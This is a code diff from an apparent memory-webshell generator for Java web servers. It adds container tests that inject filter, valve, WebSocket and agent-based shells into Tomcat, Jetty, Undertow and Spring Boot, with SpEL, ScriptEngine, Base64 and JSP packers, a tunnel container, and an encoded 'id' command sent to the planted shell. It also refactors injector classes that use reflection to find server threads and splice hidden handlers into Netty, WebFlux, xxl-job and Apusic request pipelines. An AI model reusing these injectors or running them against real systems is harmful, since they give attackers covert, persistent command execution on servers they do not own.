public static final String imageName = "springboot2-jetty";
|
||||||
|
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(springBoot2JettyDockerfile))
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
Server server = Server.SpringWebMvc;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||||
|
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||||
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
||||||
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
static Stream<Arguments> jettyCasesProvider() {
|
||||||
|
Server server = Server.Jetty;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
// ShellType.LISTENER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER_ASM
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("jettyCasesProvider")
|
||||||
|
void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,105 @@
|
|||||||
|
package com.reajason.javaweb.integration.springmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class SpringBoot2UndertowContainerTest {
|
||||||
|
public static final String imageName = "springboot2-undertow";
|
||||||
|
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(springBoot2UndertowDockerfile))
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
Server server = Server.SpringWebMvc;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||||
|
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||||
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
||||||
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
static Stream<Arguments> jettyCasesProvider() {
|
||||||
|
Server server = Server.Undertow;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
// ShellType.LISTENER,
|
||||||
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
|
||||||
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("jettyCasesProvider")
|
||||||
|
void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -44,6 +44,8 @@ public class SpringBoot2WarContainerTest {
|
|||||||
.withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
.withNetwork(network)
|
.withNetwork(network)
|
||||||
.withNetworkAliases("app")
|
.withNetworkAliases("app")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -52,6 +54,8 @@ public class SpringBoot2WarContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
|
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
|
||||||
|
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, // TODO: 这个地方会报奇怪的错误,需要排查
|
||||||
|
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
@@ -68,4 +72,25 @@ public class SpringBoot2WarContainerTest {
|
|||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static Stream<Arguments> tomcatCasesProvider() {
|
||||||
|
Server server = Server.Tomcat;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER,
|
||||||
|
// ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
||||||
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("tomcatCasesProvider")
|
||||||
|
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -80,4 +80,22 @@ public class SpringBoot3ContainerTest {
|
|||||||
log.info("container started, app url is : {}", url);
|
log.info("container started, app url is : {}", url);
|
||||||
return url;
|
return url;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static Stream<Arguments> tomcatCasesProvider() {
|
||||||
|
Server server = Server.Tomcat;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
// ShellType.LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.JAKARTA_WEBSOCKET
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("tomcatCasesProvider")
|
||||||
|
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,91 @@
|
|||||||
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertionTool;
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
||||||
|
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/28
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class Tomcat8CommandEncryptorContainerTest {
|
||||||
|
public static final String imageName = "tomcat:8-jre8";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
String url = getUrl(container);
|
||||||
|
|
||||||
|
Pair<String, String> urls = ShellAssertionTool.getUrls(url, shellType, shellTool, packer);
|
||||||
|
String shellUrl = urls.getLeft();
|
||||||
|
String urlPattern = urls.getRight();
|
||||||
|
|
||||||
|
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
|
||||||
|
|
||||||
|
ShellToolConfig shellToolConfig = CommandConfig.builder()
|
||||||
|
.paramName(uniqueName)
|
||||||
|
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult generateResult = ShellAssertionTool.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig);
|
||||||
|
|
||||||
|
ShellAssertionTool.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
|
||||||
|
|
||||||
|
String payload = Base64.getEncoder().encodeToString(Base64.getEncoder().encode("id".getBytes()));
|
||||||
|
if (shellType.endsWith(ShellType.WEBSOCKET)) {
|
||||||
|
ShellAssertionTool.testWebSocketCommandIsOk(shellUrl, payload);
|
||||||
|
} else {
|
||||||
|
ShellAssertionTool.testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), payload);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id 'java'
|
id 'java'
|
||||||
id 'com.github.johnrengelman.shadow' version '8.1.1'
|
id "com.gradleup.shadow" version "8.3.6"
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id 'java'
|
id 'java'
|
||||||
id 'com.github.johnrengelman.shadow' version '8.1.1'
|
id "com.gradleup.shadow" version "8.3.6"
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id 'java'
|
id 'java'
|
||||||
id 'com.github.johnrengelman.shadow' version '8.1.1'
|
id "com.gradleup.shadow" version "8.3.6"
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
|
|||||||
@@ -10,6 +10,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -45,7 +46,7 @@ public class SpringWebFluxHandlerFunctionInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public Object getWebHandler() throws Exception {
|
public Object getWebHandler() throws Exception {
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||||
Object nettyWebServer = getFieldValue(thread, "this$0");
|
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||||
|
|||||||
@@ -13,6 +13,7 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Collection;
|
import java.util.Collection;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -48,7 +49,7 @@ public class SpringWebFluxHandlerMethodInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public Object getWebHandler() throws Exception {
|
public Object getWebHandler() throws Exception {
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||||
Object nettyWebServer = getFieldValue(thread, "this$0");
|
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.net.SocketAddress;
|
import java.net.SocketAddress;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -45,11 +46,8 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
|
|||||||
private Class<?> handlerClass;
|
private Class<?> handlerClass;
|
||||||
|
|
||||||
public Object getNettyServer() throws Exception {
|
public Object getNettyServer() throws Exception {
|
||||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
Field threads = group.getClass().getDeclaredField("threads");
|
for (Thread thread : threads) {
|
||||||
threads.setAccessible(true);
|
|
||||||
Thread[] allThreads = (Thread[]) threads.get(group);
|
|
||||||
for (Thread thread : allThreads) {
|
|
||||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||||
return thread;
|
return thread;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -47,9 +48,7 @@ public class SpringWebFluxWebFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public FilteringWebHandler getWebHandler() throws Exception {
|
public FilteringWebHandler getWebHandler() throws Exception {
|
||||||
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
getThreads.setAccessible(true);
|
|
||||||
Thread[] threads = (Thread[]) getThreads.invoke(null);
|
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||||
Object nettyWebServer = getFieldValue(thread, "this$0");
|
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.concurrent.LinkedBlockingQueue;
|
||||||
import java.util.concurrent.ThreadPoolExecutor;
|
import java.util.concurrent.ThreadPoolExecutor;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
@@ -81,30 +82,24 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
|||||||
}
|
}
|
||||||
|
|
||||||
public void inject() throws Exception {
|
public void inject() throws Exception {
|
||||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
Field threads = group.getClass().getDeclaredField("threads");
|
for (Thread thread : threads) {
|
||||||
threads.setAccessible(true);
|
|
||||||
Thread[] allThreads = (Thread[]) threads.get(group);
|
|
||||||
for (Thread thread : allThreads) {
|
|
||||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||||
Object target;
|
Object target;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
||||||
} catch (Exception e) {
|
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
||||||
continue;
|
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||||
}
|
if (!set.isEmpty()) {
|
||||||
|
Object keys = set.toArray()[0];
|
||||||
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
||||||
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
||||||
if (!set.isEmpty()) {
|
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
||||||
Object keys = set.toArray()[0];
|
System.out.println("xxl-job NettyHandler inject successful");
|
||||||
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
break;
|
||||||
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
}
|
||||||
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
|
||||||
System.out.println("xxl-job NettyHandler inject successful");
|
|
||||||
break;
|
|
||||||
}
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ public class ClassRenameUtils {
|
|||||||
}
|
}
|
||||||
String oldClassName = relocateClassPackage.replace('.', '/');
|
String oldClassName = relocateClassPackage.replace('.', '/');
|
||||||
String newClassName = relocatePrefix.replace('.', '/');
|
String newClassName = relocatePrefix.replace('.', '/');
|
||||||
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
|
||||||
ClassRemapper adapter = new ClassRemapper(writer, new Remapper() {
|
ClassRemapper adapter = new ClassRemapper(writer, new Remapper() {
|
||||||
@Override
|
@Override
|
||||||
public String map(String typeName) {
|
public String map(String typeName) {
|
||||||
|
|||||||
@@ -1,12 +1,12 @@
|
|||||||
package com.reajason.javaweb.util;
|
package com.reajason.javaweb.util;
|
||||||
|
|
||||||
import java.util.Base64;;
|
|
||||||
import org.junit.jupiter.api.Disabled;
|
import org.junit.jupiter.api.Disabled;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -46,7 +47,7 @@ public class ApusicFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
